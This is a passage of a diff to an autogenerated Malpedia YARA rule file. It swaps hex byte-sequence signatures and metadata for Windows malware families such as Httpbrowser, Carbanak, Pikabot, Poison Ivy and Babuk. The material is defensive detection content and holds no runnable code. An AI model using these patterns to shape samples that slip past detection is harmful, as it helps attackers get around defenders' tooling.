+rule MALPEDIA_Win_Httpbrowser_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "78bf6ca7-ef3d-53c3-89fb-bc5bc524aac5"
+		id = "86ed1f1e-9c83-5189-8446-3be88e9701cf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mewsei_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpbrowser_auto.yar#L1-L178"
 		license_url = "N/A"
-		logic_hash = "3736165e5248449b2b75237b3807b31270781b320dfabe4092f7167612f74bb7"
+		logic_hash = "5b5149262889d64634c3067408a546cd5b0c2e08f2004303b6cf9132eb7eeb82"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169049,32 +176236,38 @@ rule MALPEDIA_Win_Mewsei_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 337df8 8b5dfc 237df4 337df0 037dc0 8dbc1faf0f7cf5 }
-		$sequence_1 = { e8???????? 50 8bc7 e8???????? 83c404 e8???????? 50 }
-		$sequence_2 = { 0fbe7c0602 57 e8???????? 83c404 85c0 7405 8d47d0 }
-		$sequence_3 = { 8b4610 8b0cb8 8911 8b55f8 }
-		$sequence_4 = { 57 e8???????? 8b1d???????? 83c410 6a00 }
-		$sequence_5 = { 83c404 895df8 85db 750c 6a01 e8???????? 83c404 }
-		$sequence_6 = { 6a01 6a0e 56 ff15???????? }
-		$sequence_7 = { 6a04 8d4df8 51 6a04 6a00 56 }
-		$sequence_8 = { ff15???????? 57 8bf0 53 56 ff15???????? 50 }
-		$sequence_9 = { 337df4 337dfc 037dcc 8dbc1ff87ca21f 8b5df0 c1c710 }
+		$sequence_0 = { 50 ff7508 6a00 53 ffd6 8b45fc 33c9 }
+		$sequence_1 = { 50 895de0 ff5604 8945f0 85db 0f8489010000 }
+		$sequence_2 = { 33c5 8945fc 53 56 57 8d859cfeffff 33ff }
+		$sequence_3 = { 8d85f0fdffff 50 8d85d0f5ffff 50 ff15???????? }
+		$sequence_4 = { 56 6a03 6800000040 8d85f4fdffff 50 ff15???????? }
+		$sequence_5 = { e8???????? 83c40c 33c0 56 668985c8f3ffff 8d85caf3ffff }
+		$sequence_6 = { 83c438 ff15???????? 8d85f4fdffff 50 53 57 }
+		$sequence_7 = { ffb5f4edffff 8d85fcfdffff ffb5f8edffff 68???????? 50 }
+		$sequence_8 = { e8???????? 68c20ddf13 56 a3???????? e8???????? 83c438 }
+		$sequence_9 = { 6a00 6810040000 ff15???????? 8bf0 57 6a0e 56 }
+		$sequence_10 = { 83c414 c745ec00000000 68???????? 50 9c b80a000000 51 }
+		$sequence_11 = { b905000000 8db524ffffff 8dbda4feffff 8945e4 }
+		$sequence_12 = { 33c0 8dbd26ffffff 66899524ffffff f3ab 8955e8 8955f8 8955fc }
+		$sequence_13 = { 40 0068ae 224000 50 b822010000 }
+		$sequence_14 = { 8895a0c5ffff f3ab aa b91f000000 33c0 8dbd4affffff 66899548ffffff }
+		$sequence_15 = { 8b15???????? 8945d8 a1???????? 894ddc 668b0d???????? }
 
 	condition:
-		7 of them and filesize <504832
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Powerduke_Auto : FILE
+rule MALPEDIA_Win_Deltas_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6d856194-c9fe-5330-9bd8-d5a96e01d2f2"
+		id = "7da5df4e-29e3-54c4-9a20-6a6e85d7900e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerduke_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deltas_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "8396f645fb90ff46635658086ca415f6d857b1da2dac7ff489b34d4ef5885286"
+		logic_hash = "dd0f3991acf6e3d198b5d6cf834071e4c8ad802b2fea2e9cf5d21d8d4fb219f6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169088,32 +176281,32 @@ rule MALPEDIA_Win_Powerduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c705????????00000000 6a04 6800300000 ff7518 }
-		$sequence_1 = { ff75e4 ff75bc ff15???????? 09c0 7473 }
-		$sequence_2 = { 6a00 ff15???????? 09c0 0f8412010000 8945e4 53 50 }
-		$sequence_3 = { b801000000 c9 c20c00 55 89e5 81ec080c0000 }
-		$sequence_4 = { 89f7 31c9 803c0f3a 7409 }
-		$sequence_5 = { 09c0 7505 b850000000 8945ec c6040e00 }
-		$sequence_6 = { c70000000000 837d2000 740f 8b4520 }
-		$sequence_7 = { c20400 55 89e5 56 57 8b750c }
-		$sequence_8 = { 0f8493000000 c745f901000000 89c3 be???????? }
-		$sequence_9 = { 6a00 57 ff15???????? 09c0 }
+		$sequence_0 = { 8d542434 898424d8000000 52 ffd6 898424d0000000 8d442458 50 }
+		$sequence_1 = { b22e b06c 51 c644240c77 c644240d73 c644240f5f c644241033 }
+		$sequence_2 = { c684241002000000 f3ab 66ab aa 8d442408 6804010000 50 }
+		$sequence_3 = { 8d742438 8dbc24f4000000 33c0 f3a5 b908000000 8d7c2418 }
+		$sequence_4 = { 68???????? 68???????? 50 ffd7 8d8c241c020000 6804010000 8d94241c010000 }
+		$sequence_5 = { 57 33f6 b922000000 33c0 }
+		$sequence_6 = { 52 ffd6 898424e0000000 8d442440 50 ffd6 }
+		$sequence_7 = { 894c242d 56 66894c2435 33f6 89442420 884c2437 57 }
+		$sequence_8 = { 0bc1 33c7 0344242c 8d8410442229f4 8bd0 c1e006 c1ea1a }
+		$sequence_9 = { c644245400 c684245801000000 f3ab 66ab }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Webc2_Head_Auto : FILE
+rule MALPEDIA_Win_Quarterrig_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fbb157f3-5522-59eb-8966-994ac95b42ec"
+		id = "b690a4f4-b484-55ac-b058-10bc50927e69"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_head_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quarterrig_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "3accb9e007709b9cb8a99022cd642781f2c16d496b60a9e07fc0420c29da6736"
+		logic_hash = "311b3b8ecf53c484bcc2dd986bb0e82467b08ff5a42c5d9fde578d475409e28c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169127,32 +176320,32 @@ rule MALPEDIA_Win_Webc2_Head_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a8c0cc0000000 eb02 b13d c1e810 83e03f 0fbec9 }
-		$sequence_1 = { 68???????? 55 55 896c2434 ffd7 }
-		$sequence_2 = { 8d942444080000 03f0 51 50 52 55 ff15???????? }
-		$sequence_3 = { e8???????? 83c40c 85c0 0f8554020000 b900050000 }
-		$sequence_4 = { 33db 89442418 52 c6450000 }
-		$sequence_5 = { 7513 8dbc2444040000 83c9ff f2ae f7d1 49 894c241c }
-		$sequence_6 = { 89442410 c1e002 89442418 8b4c2424 }
-		$sequence_7 = { eb02 b03d 884303 8b442410 }
-		$sequence_8 = { 83c410 c3 5f c6450000 5e }
-		$sequence_9 = { 2500ff0000 45 3d003d0000 7435 }
+		$sequence_0 = { 32c0 e9???????? 8b15???????? 498bce ff15???????? 3d02010000 }
+		$sequence_1 = { 884597 33ff 897d9b 41f7411800400000 7528 410f1000 f30f7f45a7 }
+		$sequence_2 = { 4883c438 c3 488d0d53c10500 e8???????? 833d????????ff 75d2 c605????????01 }
+		$sequence_3 = { 65488b042558000000 ba04000000 488b0cc8 8b040a 3905???????? 7f19 488d0513cc0500 }
+		$sequence_4 = { 488b5590 4883fa10 720d 48ffc2 488b4c2478 e8???????? 4c896d88 }
+		$sequence_5 = { 488d0569fe0500 488b4c2448 4833cc e8???????? 0f28742460 0f287c2450 }
+		$sequence_6 = { eb3a e8???????? 4c8bc0 80780500 7429 33d2 }
+		$sequence_7 = { 4c89b690000000 4c89b698000000 0f108780000000 0f118680000000 0f108f90000000 0f118e90000000 4c89b790000000 }
+		$sequence_8 = { 4c8bcf 4533c0 488d5510 488d4c2478 e8???????? 83cb01 }
+		$sequence_9 = { 48895520 c744243402000000 41b840000000 458d78d0 418bd7 488d4d28 e8???????? }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <971776
 }
-rule MALPEDIA_Win_Pay2Key_Auto : FILE
+rule MALPEDIA_Win_Poison_Ivy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "26097eea-fdd3-5ff6-a78a-aae3970171ae"
+		id = "ec8c2f98-412f-543c-9758-b1aacde91b4e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pay2key_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poison_ivy_auto.yar#L1-L91"
 		license_url = "N/A"
-		logic_hash = "fed562ca29ad610b012032606168f69e452506f6e6212e1bb41332762ffb58be"
+		logic_hash = "431acfd8496c54390529508a28488eb12118d11f97e2de9a76cce0e819bacb59"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169166,32 +176359,29 @@ rule MALPEDIA_Win_Pay2Key_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7d1 33d2 3b4dfc 8bcb 0f43d0 3bd7 0f43fa }
-		$sequence_1 = { e8???????? 8d4e2c e8???????? 8d4e14 e8???????? c74604???????? 8b7e10 }
-		$sequence_2 = { ffd7 837d1c08 8d5508 8d7508 0f435508 0f437508 }
-		$sequence_3 = { c745fc00000000 833e00 7517 68de020000 68???????? 68???????? }
-		$sequence_4 = { 50 e8???????? 83ec18 c645fc05 8bcc 896584 c7411000000000 }
-		$sequence_5 = { 3bf7 0f8595f7ffff 83cfff c745fc07000000 8b750c 85f6 7429 }
-		$sequence_6 = { eb05 6880000000 8bce e8???????? 8b4e20 8bc3 8b09 }
-		$sequence_7 = { c7461000000000 7202 8b36 33c0 668906 8db758030000 8b4614 }
-		$sequence_8 = { 3bf7 758c 8b5dec ff7314 8b35???????? ffd6 }
-		$sequence_9 = { eb02 33c0 894758 8d5758 8a4304 88475c e8???????? }
+		$sequence_0 = { ff9681000000 80beaf08000001 7507 b902000080 eb05 }
+		$sequence_1 = { b902000080 eb05 b901000080 8d45fc }
+		$sequence_2 = { 51 ff5635 68ff000000 8d86b1060000 }
+		$sequence_3 = { 50 6a01 6a00 8d86120e0000 50 ff75fc }
+		$sequence_4 = { b901000080 8d45fc 50 683f000f00 6a00 57 51 }
+		$sequence_5 = { 51 57 ff9681000000 8d45fc }
+		$sequence_6 = { 8d86120e0000 50 ff75fc ff563d ff75fc ff5631 }
 
 	condition:
-		7 of them and filesize <2252800
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Babuk_Auto : FILE
+rule MALPEDIA_Win_Carbanak_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d5eda12f-ea4b-52c1-b2a1-b261c48c105c"
+		id = "c07fe935-504c-5c98-a746-fcd9d2cd2656"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babuk_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carbanak_auto.yar#L1-L108"
 		license_url = "N/A"
-		logic_hash = "55094f2694a9f4921a100bba31a1afb9b9947feff6d1ffe3b263a4bd8f4c17f7"
+		logic_hash = "71119e0e8f2ea511e845d7f70364c6b521841c48aa27c3226400782c05c0bf22"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169205,38 +176395,32 @@ rule MALPEDIA_Win_Babuk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 6800000100 e8???????? 83c404 }
-		$sequence_1 = { 50 ff15???????? 83f803 7502 }
-		$sequence_2 = { 8b45fc 83c002 8945fc 837dfc0a 0f83dc000000 8b4dfc }
-		$sequence_3 = { 8b4d08 8b540104 52 8b0401 50 e8???????? }
-		$sequence_4 = { 8b4dfc c1e108 ba01000000 d1e2 8b4508 }
-		$sequence_5 = { 8b95ccfdffff 83c201 8995ccfdffff 83bdccfdffff1f 735f 8d85f4fdffff }
-		$sequence_6 = { 8b4dfc 8b5508 8b44ca04 50 }
-		$sequence_7 = { 8b4d08 c7040100000000 c744010400000000 ba08000000 }
-		$sequence_8 = { 0bca 894dfc 8b45fc c1e008 b901000000 }
-		$sequence_9 = { 8b0401 50 e8???????? 83c408 8945ec 8955f0 }
-		$sequence_10 = { c744010400000000 ba08000000 6bc200 8b4d08 }
-		$sequence_11 = { 8b4508 c704107465206b c745fc00000000 eb09 }
-		$sequence_12 = { 744a 837dd801 7444 8b55ec 52 ff15???????? 8d45ac }
-		$sequence_13 = { e8???????? 83c410 c78574ffffff00000000 eb0f }
-		$sequence_14 = { 57 b808000000 6bc80a 8b5508 c7040a00000000 c7440a0400000000 c745fc00000000 }
-		$sequence_15 = { 51 e8???????? 83c408 8945f4 8955f8 }
+		$sequence_0 = { 7f05 83c061 eb03 83c027 }
+		$sequence_1 = { 7907 32c0 e9???????? 7507 b001 }
+		$sequence_2 = { 32c0 e9???????? 7507 b001 }
+		$sequence_3 = { 2bd1 81e921100000 8bc1 c1f80e 0cc0 }
+		$sequence_4 = { 8b4608 eb02 8bc3 85c0 }
+		$sequence_5 = { c3 8d4120 3c1f 7705 0fb6c1 }
+		$sequence_6 = { 7c0d e8???????? 84c0 7504 }
+		$sequence_7 = { 7c0d e8???????? 84c0 7504 33c0 }
+		$sequence_8 = { e9???????? 3d2c5c0700 750a e8???????? }
+		$sequence_9 = { 3d2c5c0700 750a e8???????? e9???????? }
 
 	condition:
-		7 of them and filesize <183296
+		7 of them and filesize <658432
 }
-rule MALPEDIA_Win_Rarog_Auto : FILE
+rule MALPEDIA_Win_Pikabot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "af269765-c756-5cee-8964-0f35e326beb2"
+		id = "16fbebe5-029d-50d1-a8a8-9f8a45a24f27"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rarog_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pikabot_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "90be509347cdd78e80ac954224309fb579e700a948cbf60773c02796ec820629"
+		logic_hash = "81c8e73356106864f0a8f72d23108459a17754dd4d587aefd7feb43e822dba1f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169250,32 +176434,39 @@ rule MALPEDIA_Win_Rarog_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8db5c8fdffff e9???????? 8b542408 8d420c 8b8ab8fdffff }
-		$sequence_1 = { 83781410 7202 8b00 8b35???????? 53 53 50 }
-		$sequence_2 = { 8d8d28fdffff e8???????? 53 53 68???????? 8d85e8feffff 50 }
-		$sequence_3 = { 50 68???????? 51 e8???????? 83c40c 83ec1c c645fc21 }
-		$sequence_4 = { 8b75ac 46 56 53 ff15???????? 89459c }
-		$sequence_5 = { 68???????? 50 8d4dd0 e8???????? 59 59 8d8d9cfeffff }
-		$sequence_6 = { ff7508 6a00 6a01 ff15???????? 8bf0 85f6 7409 }
-		$sequence_7 = { 57 83c8ff e8???????? 53 68???????? 83c8ff }
-		$sequence_8 = { 59 8b7508 8d34f5501d4300 391e 7404 8bc7 eb6d }
-		$sequence_9 = { c1e002 c1eb06 0bc3 8a80c0b64200 884102 0fbe443202 83e03f }
+		$sequence_0 = { 8945f8 8b4510 8945f4 8b4510 48 }
+		$sequence_1 = { 894510 837df400 741a 8b45fc 8b4df8 8a09 }
+		$sequence_2 = { 8b4df8 8a09 8808 8b45fc }
+		$sequence_3 = { 40 8945fc 8b45f8 40 8945f8 ebd3 8b4508 }
+		$sequence_4 = { 8945f8 ebd3 8b4508 c9 c3 55 }
+		$sequence_5 = { 83ec0c 8b4508 8945fc 8b450c 8945f8 8b4510 }
+		$sequence_6 = { 7ce9 8b4214 2b420c 5f }
+		$sequence_7 = { e8???????? ffd0 c9 c3 55 8bec }
+		$sequence_8 = { 8bfa 85c9 7436 85ff }
+		$sequence_9 = { 8b0cba 03ce e8???????? 8bd0 }
+		$sequence_10 = { 8a1c08 8d4320 0fb6c8 8d53bf 80fa19 }
+		$sequence_11 = { 40 8945fc 3bc7 72d5 }
+		$sequence_12 = { 55 8bec 83ec10 53 56 8b35???????? b84d5a0000 }
+		$sequence_13 = { e8???????? 8bd0 e8???????? 3b45fc }
+		$sequence_14 = { c3 56 8bf1 85c9 7419 85d2 7415 }
+		$sequence_15 = { 84c0 75f6 c60100 8bc6 5e }
+		$sequence_16 = { c9 c3 64a130000000 8b4018 c3 55 }
 
 	condition:
-		7 of them and filesize <598016
+		7 of them and filesize <1717248
 }
-rule MALPEDIA_Win_Slothfulmedia_Auto : FILE
+rule MALPEDIA_Win_Pebbledash_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e689a948-8c82-52e0-a234-12c770624669"
+		id = "3f16c34e-ab8c-5fd5-9a27-9934f8af2f6b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slothfulmedia_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pebbledash_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "0fe44aa9ee5461148172e6c82a2b51d37b08cccc220629908d9ee4d92a4c22d4"
+		logic_hash = "477e05e2df7e0e436b23bf26c9707de6486fd65cc8fb3dc50d94f319663b31bc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169289,38 +176480,32 @@ rule MALPEDIA_Win_Slothfulmedia_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 5f 8d4638 5e }
-		$sequence_1 = { 8938 8bd8 83c008 8945fc }
-		$sequence_2 = { 68???????? be04010000 33c9 56 }
-		$sequence_3 = { 83c002 663bca 75f5 2bc6 d1f8 }
-		$sequence_4 = { 40 e8???????? bb04010000 53 8d85e0fdffff 50 }
-		$sequence_5 = { 8b835c040000 68???????? 0564010000 6a05 50 e8???????? 83c418 }
-		$sequence_6 = { 0fb7f0 f7de 6aff ff7508 }
-		$sequence_7 = { 8d444606 83c410 0375f0 891c08 ff45fc }
-		$sequence_8 = { 6689442414 e8???????? 83c40c 6a00 ff15???????? }
-		$sequence_9 = { ff15???????? 8b8c2410020000 5f 5e 33cc 33c0 }
-		$sequence_10 = { 68???????? ffd6 85c0 7507 ffd7 83f805 }
-		$sequence_11 = { 5e 33cc 33c0 e8???????? 81c40c020000 c21000 3b0d???????? }
-		$sequence_12 = { 8d54240c 6a00 52 e8???????? 83c40c 6804010000 8d44240c }
-		$sequence_13 = { 6a04 6a00 8d4c2410 51 ff15???????? 8b8c2410020000 5f }
-		$sequence_14 = { 6a00 ff15???????? 8b35???????? 8b3d???????? 90 68???????? ffd6 }
-		$sequence_15 = { 68d0070000 ff15???????? 33c0 6806020000 50 }
+		$sequence_0 = { 25ffff0000 3bd0 740a b800000004 e9???????? 83bd74fbffff00 751a }
+		$sequence_1 = { 8be5 5d c3 55 8bec 81ecd0000000 c68530ffffff8e }
+		$sequence_2 = { 51 e8???????? 83c418 8d55f0 52 8d85a4f3ffff 50 }
+		$sequence_3 = { 8d95a0f5ffff 52 ff15???????? 898594f7ffff 83bd94f7ffffff 7505 }
+		$sequence_4 = { a3???????? 833d????????00 742c 8b55f0 8955dc 8b45dc 8945e0 }
+		$sequence_5 = { 8d1c85609f4200 c1e603 8b03 f644300401 7469 57 }
+		$sequence_6 = { 8b08 8b550c 8b4110 8902 8d8d70feffff 51 8b550c }
+		$sequence_7 = { 8b45e8 83c001 8945e8 837de80e 733b }
+		$sequence_8 = { 51 e8???????? 83c40c 817d0c1e010000 7f15 837d101e }
+		$sequence_9 = { 8b55fc 0355e4 33c0 8a02 83f850 753b 8b4dfc }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Privateloader_Auto : FILE
+rule MALPEDIA_Win_Roll_Sling_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "704976b4-103d-5caa-b3a7-f03a44637bd7"
+		id = "2ab89f07-526d-5404-82a8-065dc4627e90"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.privateloader_auto.yar#L1-L183"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roll_sling_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "15e13900aae7d6be3cc889a3774b293d4c50bba5cbabc1926697368cc70d28fc"
+		logic_hash = "57322c90ec2e7f0f9b25a02d63cfaa81737587c7821fd15face6c16907aace76"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169334,80 +176519,71 @@ rule MALPEDIA_Win_Privateloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8965ec 8b55ec 8955e8 8d45f8 }
-		$sequence_1 = { 894df4 8b55fc 837a1410 7209 }
-		$sequence_2 = { 0fb64dec 85c9 7408 8b55fc 8b02 8945e8 }
-		$sequence_3 = { 8b4dec 8b5508 895110 8b4508 8945e4 8b4de8 034de4 }
-		$sequence_4 = { 8b45d8 8b4ddc 8b55d0 8b75d4 }
-		$sequence_5 = { 8b4dec e8???????? 8b4df0 e8???????? 8845fc }
-		$sequence_6 = { 8975d4 8b45d0 8b55d4 5e }
-		$sequence_7 = { 8b4de8 8b75ec 2bc8 1bf2 894de0 8975e4 a1???????? }
-		$sequence_8 = { e8???????? 33d2 b93f000000 f7f1 }
-		$sequence_9 = { 8b4590 8b4d94 8b5588 8b758c }
-		$sequence_10 = { a3???????? 33c0 5e c3 3b0d???????? }
-		$sequence_11 = { 896c2404 8bec 81ec68010000 a1???????? 33c5 8945fc 56 }
-		$sequence_12 = { d81d???????? c9 b8ffffffff 99 c3 56 8b35???????? }
-		$sequence_13 = { 13f1 83c201 8955e0 83d600 }
-		$sequence_14 = { 6a04 8d4310 50 6a06 }
-		$sequence_15 = { 7507 6800008000 eb02 6a00 }
-		$sequence_16 = { 8b45e4 50 51 52 }
-		$sequence_17 = { 0bc8 56 57 7529 }
-		$sequence_18 = { 03d0 8b4d9c 13f1 83c201 }
+		$sequence_0 = { 33c9 ff15???????? 48898424a8000000 4c8bf8 4885c0 7431 ff15???????? }
+		$sequence_1 = { 4c8b7dd8 3b5c2440 7306 488b4dd0 ebb9 498bcd }
+		$sequence_2 = { b80d000000 41bf0a000000 440f44f8 33db 4c03f7 0f1f4000 66660f1f840000000000 }
+		$sequence_3 = { 488b55d0 4883fa10 0f824effffff 48ffc2 488b4db8 488bc1 4881fa00100000 }
+		$sequence_4 = { 488905???????? 498bde 4883fa10 480f431d???????? 4803d9 41b823000000 }
+		$sequence_5 = { 0f86ec000000 eb0a 48b92700000000000080 e8???????? 4885c0 0f84cc000000 488d7827 }
+		$sequence_6 = { e8???????? 41c6042f00 48893e 488bc6 4c8b6c2460 488b7c2458 }
+		$sequence_7 = { 41b801010000 e8???????? 418bc6 4d8d4d10 4c8d3d04180100 41be04000000 }
+		$sequence_8 = { eb14 4889742420 4c8d4da0 488bd6 }
+		$sequence_9 = { 7476 48895c2438 4533c9 4533c0 48897c2420 bad8070000 }
 
 	condition:
-		7 of them and filesize <3670016
+		7 of them and filesize <299008
 }
-rule MALPEDIA_Win_Makop_Ransomware_Auto : FILE
+rule MALPEDIA_Win_Hardrain_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cd34e745-9497-5ffc-bd73-ecb5996e2067"
-		date = "2023-07-11"
-		modified = "2023-07-15"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makop_ransomware_auto.yar#L1-L124"
+		id = "97910df3-cc32-519a-be42-e878c516a607"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hardrain_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "3c7cc3419f322a8e9eb8473ecaf54fc5da0725e8a0f35ff3f90245e28389848b"
+		logic_hash = "e6beb234b33f52448f8a2b08bdea562633ec321b73d43e884a2e68853ad4b784"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230705"
-		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
-		malpedia_version = "20230715"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb02 33f6 803d????????00 751f 803d????????00 7516 80fb01 }
-		$sequence_1 = { 52 50 51 e8???????? 8b542430 83c40c 68e0930400 }
-		$sequence_2 = { 52 66c7060802 66c746041066 c6460820 }
-		$sequence_3 = { 56 ff15???????? 85c0 750b 8906 32c0 5e }
-		$sequence_4 = { 83c001 84c9 75f7 2bc7 83e801 39442404 720a }
-		$sequence_5 = { ffd6 85ff 740f 85db 740b 837c242000 7404 }
-		$sequence_6 = { 8b2d???????? 3beb 742e 8b4524 3bc3 7407 50 }
-		$sequence_7 = { 7416 e8???????? 6a00 e8???????? 83c404 }
-		$sequence_8 = { e8???????? 8b442418 83c40c 8b4f0c }
-		$sequence_9 = { 742f 33c0 3906 763d 8d4c2448 }
+		$sequence_0 = { 66c74424380000 f3ab 66ab b981000000 33c0 }
+		$sequence_1 = { 51 56 89542414 8944241c e8???????? 83c410 85c0 }
+		$sequence_2 = { 8b7c241c 6685ff 7509 5f 83c8ff 5e 83c410 }
+		$sequence_3 = { ff15???????? 85c0 7eca 8d442430 }
+		$sequence_4 = { 51 8bce e8???????? 85c0 7427 6a14 }
+		$sequence_5 = { 68b4000000 52 50 e8???????? }
